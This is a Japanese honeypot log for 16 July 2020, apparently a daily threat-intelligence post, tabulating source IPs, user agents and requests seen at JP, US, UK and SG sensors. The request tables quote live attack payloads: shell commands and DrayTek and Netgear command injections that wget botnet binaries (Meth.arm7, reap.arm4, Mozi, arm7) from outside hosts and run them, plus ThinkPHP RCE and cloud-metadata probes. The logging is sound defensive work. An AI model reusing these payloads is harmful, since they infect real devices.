ハニーポット(仮) 観測記録 2020/07/16分です。
特徴
Location:JP
DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
polaris botnetによるスキャン行為
zgrabによるスキャン行為
ZmEuによるスキャン行為
phpMyAdminへのスキャン行為
18[.]179[.]20[.]5に関する不正通信
5[.]188[.]210[.]101に関する不正通信
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 45.95.168.230/YesK4Pz9CJ7dQ0EUhkwc3tXSWoR5rB/Meth.arm7; chmod 777 /tmp/Meth.arm7; sh /tmp/Meth.arm7 jaws.selfrep
Location:US
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
5[.]188[.]210[.]101に関する不正通信
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 164.90.154.158/reaper/reap.arm4; chmod 777 /tmp/reap.arm4; sh /tmp/reap.arm4
Location:UK
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
を確認しました。
Location:SG
DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
polaris botnetによるスキャン行為
zgrabによるスキャン行為
phpMyAdminへのスキャン行為
を確認しました。
他
アクセス数推移
JP:総アクセス数:88 (前日比:+19)
US:総アクセス数:137 (前日比:+89)
UK:総アクセス数:139 (前日比:-19)
SG:総アクセス数:227 (前日比:+97)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 5.188.210.101 | Russia |
2 | 35.201.16.98 | United States |
34 | 44.224.22.196 | United States |
1 | 47.99.131.175 | China |
1 | 47.244.0.10 | United States |
1 | 47.244.190.211 | United States |
1 | 93.174.93.139 | Netherlands |
1 | 94.23.4.127 | France |
1 | 119.45.49.42 | China |
5 | 124.95.141.149 | China |
1 | 128.14.134.170 | United States |
1 | 128.14.209.226 | United States |
1 | 129.146.106.168 | United States |
1 | 130.61.83.191 | United States |
1 | 139.205.177.96 | China |
1 | 142.112.113.103 | Canada |
1 | 156.96.156.142 | United States |
1 | 159.65.121.162 | United States |
1 | 162.243.130.13 | United States |
1 | 172.104.242.173 | United States |
1 | 179.49.60.210 | Ecuador |
27 | 185.216.140.251 | Netherlands |
1 | 192.241.217.115 | United States |
1 | 195.54.161.90 | Russia |
UserAgent一覧
件数 | UserAgent |
---|---|
33 | - |
14 | AWS Security Scanner |
1 | Hello, world |
1 | Mozilla/0 (Project 25499 Scanner) |
1 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488) |
2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
5 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
2 | Mozilla/5.0 zgrab/0.x |
26 | ZmEu |
1 | polaris botnet |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | - | ||
1 | \x03 | ||
18 | \x16\x03\x01 | ||
10 | CONNECT | 18[.]179[.]20[.]5:80 | HTTP/1.0 |
1 | GET | '/xui/common/images/bg_status.php' | HTTP/1.1 |
2 | GET | /MyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /PHPMYADMIN/scripts/setup.php | HTTP/1.1 |
1 | GET | /Public/home/appjs/Index.js | HTTP/1.1 |
1 | GET | /TP/index.php | HTTP/1.1 |
1 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /Telerik.Web.UI.WebResource.axd?type=rau | HTTP/1.1 |
1 | GET | /config/getuser?index=0 | HTTP/1.1 |
1 | GET | /database/scripts/setup.php | HTTP/1.1 |
1 | GET | /db/scripts/setup.php | HTTP/1.1 |
1 | GET | /dbadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /html/public/index.php | HTTP/1.1 |
1 | GET | /hudson | HTTP/1.1 |
4 | GET | /latest/dynamic/instance-identity/document | HTTP/1.1 |
1 | GET | /my/scripts/setup.php | HTTP/1.1 |
1 | GET | /myadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /mysql/scripts/setup.php | HTTP/1.1 |
1 | GET | /mysqladmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /pHpMyAdMiN/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin/scripts/db.init.php | HTTP/1.1 |
1 | GET | /phpMyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpmyadmin/scripts/db.init.php | HTTP/1.1 |
1 | GET | /phpmyadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpmyadmin1/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpmyadmin2/scripts/setup.php | HTTP/1.1 |
1 | GET | /pma/scripts/setup.php | HTTP/1.1 |
1 | GET | /portal/redlion | HTTP/1.1 |
1 | GET | /public/index.php | HTTP/1.1 |
1 | GET | /scripts/setup.php | HTTP/1.1 |
1 | GET | /setup.php | HTTP/1.1 |
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+45.95.168.230/YesK4Pz9CJ7dQ0EUhkwc3tXSWoR5rB/Meth.arm7;chmod+777+/tmp/Meth.arm7;sh+/tmp/Meth.arm7+jaws.selfrep | HTTP/1.1 |
1 | GET | /sqladm/scripts/setup.php | HTTP/1.1 |
1 | GET | /sqladmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
1 | GET | /w00tw00t.at.blackhats.romanian.anti-sec:) | HTTP/1.1 |
1 | GET | /webfig/ | HTTP/1.1 |
1 | GET | HTTP/1.1 | |
2 | GET | http://[::ffff:a9fe:a9fe]/ | HTTP/1.1 |
2 | GET | http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document | HTTP/1.1 |
2 | GET | http[:]//169[.]254[.]169[.]254/ | HTTP/1.1 |
2 | GET | http[:]//169[.]254[.]169[.]254/latest/dynamic/instance-identity/document | HTTP/1.1 |
1 | GET | http[:]//5[.]188[.]210[.]101/echo.php | HTTP/1.1 |
2 | GET | http[:]//example[.]com/ | HTTP/1.1 |
1 | OPTIONS | / | HTTP/1.0 |
1 | POST | /boaform/admin/formPing | HTTP/1.1 |
1 | POST | /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a | HTTP/1.1 |
Location:US
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 5.188.210.101 | Russia |
1 | 18.157.186.44 | United States |
2 | 35.246.38.140 | United States |
1 | 45.9.148.194 | Netherlands |
101 | 78.244.215.69 | France |
1 | 93.174.93.139 | Netherlands |
1 | 96.89.48.133 | United States |
10 | 117.50.42.55 | China |
1 | 128.14.134.134 | United States |
1 | 130.61.17.2 | United States |
1 | 143.92.32.86 | Singapore |
1 | 156.96.156.142 | United States |
1 | 162.243.129.9 | United States |
1 | 172.104.242.173 | United States |
1 | 189.201.130.50 | Mexico |
1 | 192.241.235.137 | United States |
10 | 195.54.160.21 | Russia |
1 | 223.152.36.233 | China |
UserAgent一覧
件数 | UserAgent |
---|---|
10 | - |
1 | Go-http-client/1.1 |
1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Safari/605.1.15 |
101 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
10 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
9 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
2 | Mozilla/5.0 zgrab/0.x |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | - | ||
4 | \x16\x03\x01 | ||
1 | CONNECT | httpbin[.]org/:443 | HTTP/1.1 |
1 | GET | /!adminer.php | HTTP/1.1 |
2 | GET | /?XDEBUG_SESSION_START=phpstorm | HTTP/1.1 |
2 | GET | /?a=fetch&content= |
HTTP/1.1 |
1 | GET | /TP/html/public/index.php | HTTP/1.1 |
1 | GET | /TP/index.php | HTTP/1.1 |
1 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /Telerik.Web.UI.WebResource.axd?type=rau | HTTP/1.1 |
1 | GET | /config/getuser?index=0 | HTTP/1.1 |
1 | GET | /elrekt.php | HTTP/1.1 |
1 | GET | /html/public/index.php | HTTP/1.1 |
1 | GET | /hudson | HTTP/1.1 |
1 | GET | /index.php | HTTP/1.1 |
2 | GET | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP | HTTP/1.1 |
1 | GET | /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
101 | GET | /phpmyadmin/ | HTTP/1.1 |
1 | GET | /portal/redlion | HTTP/1.1 |
1 | GET | /public/index.php | HTTP/1.1 |
1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 | HTTP/1.0 |
2 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ 164.90.154.158/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 | |
2 | GET | /solr/admin/info/system?wt=json | HTTP/1.1 |
1 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
1 | GET | http[:]//5[.]188[.]210[.]101/echo.php | HTTP/1.1 |
1 | OPTIONS | / | HTTP/1.0 |
2 | POST | /api/jsonws/invoke | HTTP/1.1 |
1 | POST | /index.php?s=captcha | HTTP/1.1 |
Location:UK
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 5.182.210.205 | Netherlands |
2 | 34.89.200.225 | United States |
1 | 39.99.239.230 | China |
1 | 47.244.190.211 | United States |
1 | 58.11.10.7 | Thailand |
1 | 61.132.225.100 | China |
2 | 63.143.35.82 | United States |
101 | 77.77.210.166 | Bosnia and Herzegovina |
1 | 93.174.93.139 | Netherlands |
3 | 143.92.32.86 | Singapore |
6 | 143.92.32.106 | Singapore |
1 | 172.104.242.173 | United States |
1 | 185.128.41.50 | Switzerland |
1 | 193.118.53.210 | Germany |
1 | 193.118.55.146 | Germany |
8 | 195.54.160.21 | Russia |
1 | 198.199.94.238 | United States |
5 | 208.100.26.230 | United States |
1 | 209.126.3.185 | United States |
UserAgent一覧
件数 | UserAgent |
---|---|
18 | - |
1 | Java/1.8.0_131 |
101 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 |
2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
8 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
5 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 |
1 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
1 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) |
1 | Mozilla/5.0 zgrab/0.x |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | - | ||
6 | \x16\x03\x01 | ||
1 | \x16\x03\x01\x02 | ||
3 | CONNECT | g[.]alicdn[.]com/:443 | HTTP/1.1 |
4 | CONNECT | httpbin[.]org/:443 | HTTP/1.1 |
2 | CONNECT | sm[.]bdimg[.]com/:443 | HTTP/1.1 |
1 | GET | /?XDEBUG_SESSION_START=phpstorm | HTTP/1.1 |
1 | GET | /?a=fetch&content= |
HTTP/1.1 |
1 | GET | /HNAP1 | HTTP/1.1 |
1 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /Telerik.Web.UI.WebResource.axd?type=rau | HTTP/1.1 |
1 | GET | /config/getuser?index=0 | HTTP/1.1 |
1 | GET | /evox/about | HTTP/1.1 |
1 | GET | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP | HTTP/1.1 |
2 | GET | /manager/html | HTTP/1.1 |
1 | GET | /nmaplowercheck1594773607 | HTTP/1.1 |
101 | GET | /phpmyadmin/ | HTTP/1.1 |
1 | GET | /portal/redlion | HTTP/1.1 |
1 | GET | /solr/admin/info/system?wt=json | HTTP/1.1 |
1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
1 | GET | /webfig/ | HTTP/1.1 |
1 | HEAD | / | HTTP/1.1 |
1 | OPTIONS | / | HTTP/1.0 |
2 | POST | /api/jsonws/invoke | HTTP/1.1 |
1 | POST | /sdk | HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
Location:SG
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
2 | 35.247.217.189 | United States |
1 | 50.198.14.142 | United States |
101 | 79.239.194.148 | Germany |
1 | 80.82.70.118 | Netherlands |
1 | 93.174.93.139 | Netherlands |
10 | 106.53.181.242 | China |
1 | 109.200.226.223 | Ukraine |
1 | 123.207.52.125 | China |
1 | 128.14.134.170 | United States |
1 | 156.96.156.142 | United States |
1 | 159.18.94.62 | Canada |
100 | 176.102.211.181 | Ukraine |
1 | 182.93.78.227 | Nepal |
1 | 190.128.154.222 | Paraguay |
1 | 192.241.223.75 | United States |
1 | 193.118.53.138 | Germany |
1 | 195.54.160.21 | Russia |
1 | 201.184.225.148 | Colombia |
UserAgent一覧
件数 | UserAgent |
---|---|
9 | - |
1 | Go-http-client/1.1 |
101 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 |
2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
101 | Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 |
9 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
1 | Mozilla/5.0 zgrab/0.x |
1 | polaris botnet |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
4 | \x16\x03\x01 | ||
1 | \x16\x03\x02\x01o\x01 | ||
2 | GET | /HNAP1/ | HTTP/1.1 |
1 | GET | /PMA/ | HTTP/1.1 |
1 | GET | /PMA2005/ | HTTP/1.1 |
1 | GET | /SQLite/main.php | HTTP/1.1 |
1 | GET | /SQLiteManager-1.2.4/main.php | HTTP/1.1 |
1 | GET | /SQLiteManager/main.php | HTTP/1.1 |
1 | GET | /SQlite/main.php | HTTP/1.1 |
1 | GET | /TP/html/public/index.php | HTTP/1.1 |
1 | GET | /TP/index.php | HTTP/1.1 |
1 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /Telerik.Web.UI.WebResource.axd?type=rau | HTTP/1.1 |
1 | GET | /admin/ | HTTP/1.1 |
1 | GET | /agSearch/SQlite/main.php | HTTP/1.1 |
1 | GET | /config/getuser?index=0 | HTTP/1.1 |
1 | GET | /dbadmin/ | HTTP/1.1 |
1 | GET | /elrekt.php | HTTP/1.1 |
1 | GET | /html/public/index.php | HTTP/1.1 |
1 | GET | /hudson | HTTP/1.1 |
1 | GET | /hudson/script | HTTP/1.1 |
1 | GET | /index.php | HTTP/1.1 |
1 | GET | /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
1 | GET | /main.php | HTTP/1.1 |
1 | GET | /myadmin/ | HTTP/1.1 |
1 | GET | /mysql-admin/ | HTTP/1.1 |
1 | GET | /mysql/ | HTTP/1.1 |
1 | GET | /mysqladmin/ | HTTP/1.1 |
1 | GET | /mysqlmanager/ | HTTP/1.1 |
1 | GET | /openserver/phpmyadmin/ | HTTP/1.1 |
1 | GET | /p/m/a/ | HTTP/1.1 |
1 | GET | /php-my-admin/ | HTTP/1.1 |
1 | GET | /php-myadmin/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.2.3/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.2.6/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.4/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.5-pl1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.5-rc1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.5-rc2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.5/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.6-rc1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.6-rc2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.6/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.7-pl1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.5.7/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0-alpha/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0-alpha2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0-beta1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0-beta2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0-pl1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0-pl2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0-pl3/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0-rc1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0-rc2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0-rc3/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.0/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.1-pl1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.1-pl2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.1-pl3/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.1-rc1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.1-rc2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.2-beta1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.2-pl1/ | HTTP/1.1 |
2 | GET | /phpMyAdmin-2.6.2-rc1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.3-pl1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.3-rc1/ | HTTP/1.1 |
2 | GET | /phpMyAdmin-2.6.3/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.4-pl1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.4-pl2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.4-pl3/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.4-pl4/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.4-rc1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.4/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.7.0-beta1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.7.0-pl1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.7.0-pl2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.7.0-rc1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.7.0/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.0-beta1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.0-rc1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.0-rc2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.0.1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.0.2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.0.3/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.0.4/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.0/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.1-rc1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.1/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin-2/ | HTTP/1.1 |
1 | GET | /phpMyAdmin/ | HTTP/1.1 |
1 | GET | /phpMyAdmin2/ | HTTP/1.1 |
1 | GET | /phpmanager/ | HTTP/1.1 |
1 | GET | /phpmy-admin/ | HTTP/1.1 |
102 | GET | /phpmyadmin/ | HTTP/1.1 |
1 | GET | /phpmyadmin2/ | HTTP/1.1 |
1 | GET | /pma/ | HTTP/1.1 |
1 | GET | /pma2005/ | HTTP/1.1 |
1 | GET | /public/index.php | HTTP/1.1 |
1 | GET | /script | HTTP/1.1 |
1 | GET | /sqlite/main.php | HTTP/1.1 |
1 | GET | /sqlitemanager/main.php | HTTP/1.1 |
1 | GET | /sqlmanager/ | HTTP/1.1 |
1 | GET | /sqlweb/ | HTTP/1.1 |
1 | GET | /test/sqlite/SQLiteManager-1.2.0/SQLiteManager-1.2.0/main.php | HTTP/1.1 |
1 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
1 | GET | /webadmin/ | HTTP/1.1 |
1 | GET | /webdb/ | HTTP/1.1 |
1 | GET | /webfig/ | HTTP/1.1 |
1 | GET | /websql/ | HTTP/1.1 |
1 | HEAD | / | HTTP/1.1 |
1 | OPTIONS | * | HTTP/1.1 |
1 | OPTIONS | / | HTTP/1.0 |
1 | POST | /api/jsonws/invoke | HTTP/1.1 |
1 | POST | /boaform/admin/formPing | HTTP/1.1 |
1 | POST | /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a | HTTP/1.1 |
1 | POST | /index.php?s=captcha | HTTP/1.1 |